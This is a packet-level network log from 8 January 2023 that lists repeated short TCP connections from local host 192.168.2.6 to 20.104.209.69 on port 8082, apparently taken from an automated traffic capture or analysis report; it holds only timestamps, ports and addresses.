Jan 8, 2023 16:09:36.984201908 CET	8082	50062	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.984308004 CET	50062	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.984375000 CET	50062	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.984996080 CET	50062	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.098803043 CET	8082	50062	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.123646021 CET	50063	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.237869978 CET	8082	50063	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.238045931 CET	50063	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.238603115 CET	50063	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.352554083 CET	8082	50063	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.358166933 CET	8082	50063	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.358218908 CET	8082	50063	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.358247042 CET	8082	50063	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.358326912 CET	50063	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.358400106 CET	50063	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.359321117 CET	50063	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.473408937 CET	8082	50063	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.517100096 CET	50064	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.631906986 CET	8082	50064	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.632128954 CET	50064	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.639838934 CET	50064	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.754050970 CET	8082	50064	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.759403944 CET	8082	50064	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.759434938 CET	8082	50064	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.759457111 CET	8082	50064	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.759464979 CET	50064	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.759490967 CET	50064	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.759514093 CET	50064	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.768446922 CET	50064	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:37.882395983 CET	8082	50064	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:37.906562090 CET	50065	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.020880938 CET	8082	50065	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.021087885 CET	50065	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.021748066 CET	50065	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.135576010 CET	8082	50065	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.138871908 CET	8082	50065	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.138907909 CET	8082	50065	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.138930082 CET	8082	50065	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.138978004 CET	50065	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.139019966 CET	50065	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.139522076 CET	50065	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.253660917 CET	8082	50065	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.285739899 CET	50066	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.400302887 CET	8082	50066	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.400466919 CET	50066	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.401784897 CET	50066	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.515853882 CET	8082	50066	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.522447109 CET	8082	50066	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.522485018 CET	8082	50066	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.522521019 CET	8082	50066	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.522574902 CET	50066	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.523232937 CET	50066	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.523232937 CET	50066	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.637129068 CET	8082	50066	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.661299944 CET	50067	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.775585890 CET	8082	50067	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.775738955 CET	50067	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.776236057 CET	50067	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.890089989 CET	8082	50067	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.896883965 CET	8082	50067	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.896924019 CET	8082	50067	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.896935940 CET	8082	50067	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:38.897130966 CET	50067	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.897211075 CET	50067	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:38.913041115 CET	50067	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.027419090 CET	8082	50067	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.043461084 CET	50068	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.157742977 CET	8082	50068	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.157958031 CET	50068	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.161622047 CET	50068	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.275667906 CET	8082	50068	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.279805899 CET	8082	50068	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.279865026 CET	8082	50068	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.279895067 CET	8082	50068	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.280015945 CET	50068	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.280076981 CET	50068	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.280985117 CET	50068	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.394835949 CET	8082	50068	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.416727066 CET	50069	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.531068087 CET	8082	50069	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.531209946 CET	50069	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.535268068 CET	50069	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.649379015 CET	8082	50069	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.652698040 CET	8082	50069	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.652745962 CET	8082	50069	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.652769089 CET	8082	50069	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.652890921 CET	50069	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.652930975 CET	50069	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.653604984 CET	50069	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.767420053 CET	8082	50069	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.818135977 CET	50070	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.932571888 CET	8082	50070	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:39.932954073 CET	50070	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:39.982247114 CET	50070	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.096721888 CET	8082	50070	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.102051973 CET	8082	50070	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.102088928 CET	8082	50070	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.102251053 CET	50070	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.102458000 CET	8082	50070	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.102530956 CET	50070	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.204463959 CET	50070	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.318926096 CET	8082	50070	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.376898050 CET	50071	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.491556883 CET	8082	50071	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.491817951 CET	50071	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.492558956 CET	50071	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.606575012 CET	8082	50071	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.610812902 CET	8082	50071	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.610843897 CET	8082	50071	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.610862970 CET	8082	50071	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.611005068 CET	50071	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.616084099 CET	50071	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.730385065 CET	8082	50071	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.816332102 CET	50072	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.930742979 CET	8082	50072	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:40.930876970 CET	50072	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:40.931401968 CET	50072	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:41.045481920 CET	8082	50072	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:41.050867081 CET	8082	50072	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:41.050920963 CET	8082	50072	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:41.051045895 CET	50072	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:41.051227093 CET	8082	50072	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:41.051295042 CET	50072	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:41.051295042 CET	50072	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:41.685086012 CET	50072	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:41.799079895 CET	8082	50072	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:41.856741905 CET	50073	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:41.971302986 CET	8082	50073	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:41.971434116 CET	50073	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:41.976881027 CET	50073	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:42.091190100 CET	8082	50073	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:42.094980001 CET	8082	50073	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:42.095114946 CET	8082	50073	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:42.095165014 CET	8082	50073	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:42.095201015 CET	50073	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:42.095257044 CET	50073	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:42.095257044 CET	50073	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.274465084 CET	50073	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.388968945 CET	8082	50073	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:43.544614077 CET	50074	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.659038067 CET	8082	50074	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:43.659209967 CET	50074	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.665204048 CET	50074	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.779408932 CET	8082	50074	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:43.785331964 CET	8082	50074	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:43.785370111 CET	8082	50074	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:43.785386086 CET	8082	50074	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:43.785559893 CET	50074	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.791064024 CET	50074	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.797949076 CET	50074	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:43.912122965 CET	8082	50074	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:43.969686031 CET	50075	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.084709883 CET	8082	50075	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.084889889 CET	50075	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.085764885 CET	50075	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.199491024 CET	8082	50075	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.203655005 CET	8082	50075	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.203700066 CET	8082	50075	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.203743935 CET	50075	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.203785896 CET	8082	50075	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.203794956 CET	50075	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.203862906 CET	50075	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.204468966 CET	50075	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.320472956 CET	8082	50075	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.337903023 CET	50076	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.452260017 CET	8082	50076	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.452373028 CET	50076	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.453555107 CET	50076	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.567799091 CET	8082	50076	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.573463917 CET	8082	50076	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.573508978 CET	8082	50076	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.573571920 CET	50076	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.573617935 CET	50076	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.573805094 CET	8082	50076	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.573873997 CET	50076	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.583044052 CET	50076	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.697242022 CET	8082	50076	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.714658022 CET	50077	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.828916073 CET	8082	50077	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.829046011 CET	50077	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.829859018 CET	50077	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.945998907 CET	8082	50077	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.949834108 CET	8082	50077	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.949878931 CET	8082	50077	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.949907064 CET	8082	50077	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:44.950016022 CET	50077	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.950553894 CET	50077	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:44.950553894 CET	50077	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.064671993 CET	8082	50077	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.098170996 CET	50078	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.212548971 CET	8082	50078	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.212826014 CET	50078	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.213649988 CET	50078	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.327322006 CET	8082	50078	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.332674026 CET	8082	50078	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.332711935 CET	8082	50078	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.332727909 CET	8082	50078	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.332854986 CET	50078	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.332897902 CET	50078	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.333714008 CET	50078	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.447587013 CET	8082	50078	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.471374989 CET	50079	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.585777044 CET	8082	50079	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.589545012 CET	50079	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.592911005 CET	50079	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.707015991 CET	8082	50079	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.711039066 CET	8082	50079	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.711143017 CET	8082	50079	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.711163998 CET	8082	50079	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.711276054 CET	50079	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.732567072 CET	50079	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.846590996 CET	8082	50079	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.855134964 CET	50080	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.969532013 CET	8082	50080	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:45.970108986 CET	50080	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:45.974152088 CET	50080	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.088125944 CET	8082	50080	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.094857931 CET	8082	50080	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.094913006 CET	8082	50080	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.094938993 CET	8082	50080	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.095050097 CET	50080	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.096754074 CET	50080	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.211066961 CET	8082	50080	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.236362934 CET	50081	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.350867033 CET	8082	50081	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.351371050 CET	50081	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.352025032 CET	50081	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.465939045 CET	8082	50081	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.469417095 CET	8082	50081	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.469477892 CET	8082	50081	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.469579935 CET	8082	50081	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.469615936 CET	50081	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.469660044 CET	50081	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.469660044 CET	50081	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.478748083 CET	50081	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.592928886 CET	8082	50081	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.609257936 CET	50082	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.723597050 CET	8082	50082	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.723979950 CET	50082	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.724889040 CET	50082	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.838965893 CET	8082	50082	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.844346046 CET	8082	50082	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.844430923 CET	8082	50082	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.844464064 CET	8082	50082	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:46.844523907 CET	50082	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.844660044 CET	50082	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.867963076 CET	50082	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:46.982366085 CET	8082	50082	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.004843950 CET	50083	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.119116068 CET	8082	50083	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.119213104 CET	50083	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.120166063 CET	50083	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.234201908 CET	8082	50083	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.237611055 CET	8082	50083	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.237653017 CET	8082	50083	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.237728119 CET	50083	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.237763882 CET	50083	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.237862110 CET	8082	50083	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.237921000 CET	50083	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.248871088 CET	50083	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.363082886 CET	8082	50083	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.392450094 CET	50084	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.506603956 CET	8082	50084	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.506769896 CET	50084	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.507551908 CET	50084	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.621587992 CET	8082	50084	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.625920057 CET	8082	50084	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.625956059 CET	8082	50084	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.625978947 CET	8082	50084	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.626044035 CET	50084	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.626084089 CET	50084	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.629823923 CET	50084	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.743886948 CET	8082	50084	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.772490025 CET	50085	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.886956930 CET	8082	50085	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:47.887064934 CET	50085	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:47.887584925 CET	50085	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.001511097 CET	8082	50085	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.005059958 CET	8082	50085	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.005096912 CET	8082	50085	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.005130053 CET	8082	50085	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.005162001 CET	50085	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.005192041 CET	50085	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.013777971 CET	50085	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.127773046 CET	8082	50085	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.154939890 CET	50086	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.269376993 CET	8082	50086	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.269875050 CET	50086	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.273823023 CET	50086	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.387921095 CET	8082	50086	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.392344952 CET	8082	50086	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.392394066 CET	8082	50086	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.392419100 CET	8082	50086	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.392532110 CET	50086	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.392565966 CET	50086	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.393254995 CET	50086	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.507956028 CET	8082	50086	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.575293064 CET	50087	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.689608097 CET	8082	50087	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.689948082 CET	50087	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.690742016 CET	50087	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.804747105 CET	8082	50087	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.810406923 CET	8082	50087	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.810451984 CET	8082	50087	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.810477972 CET	8082	50087	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.810640097 CET	50087	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.810745955 CET	50087	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.811858892 CET	50087	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:48.926068068 CET	8082	50087	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:48.952419043 CET	50088	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.067188025 CET	8082	50088	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.070163965 CET	50088	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.072247028 CET	50088	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.186467886 CET	8082	50088	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.190685034 CET	8082	50088	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.190747976 CET	8082	50088	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.190787077 CET	8082	50088	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.190905094 CET	50088	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.211458921 CET	50088	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.325339079 CET	8082	50088	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.339931011 CET	50089	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.454463959 CET	8082	50089	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.454729080 CET	50089	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.455158949 CET	50089	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.569082022 CET	8082	50089	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.573672056 CET	8082	50089	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.573824883 CET	8082	50089	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.573889017 CET	50089	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.573921919 CET	8082	50089	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:49.573945045 CET	50089	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.573990107 CET	50089	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.574357033 CET	50089	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:49.688474894 CET	8082	50089	20.104.209.69	192.168.2.6
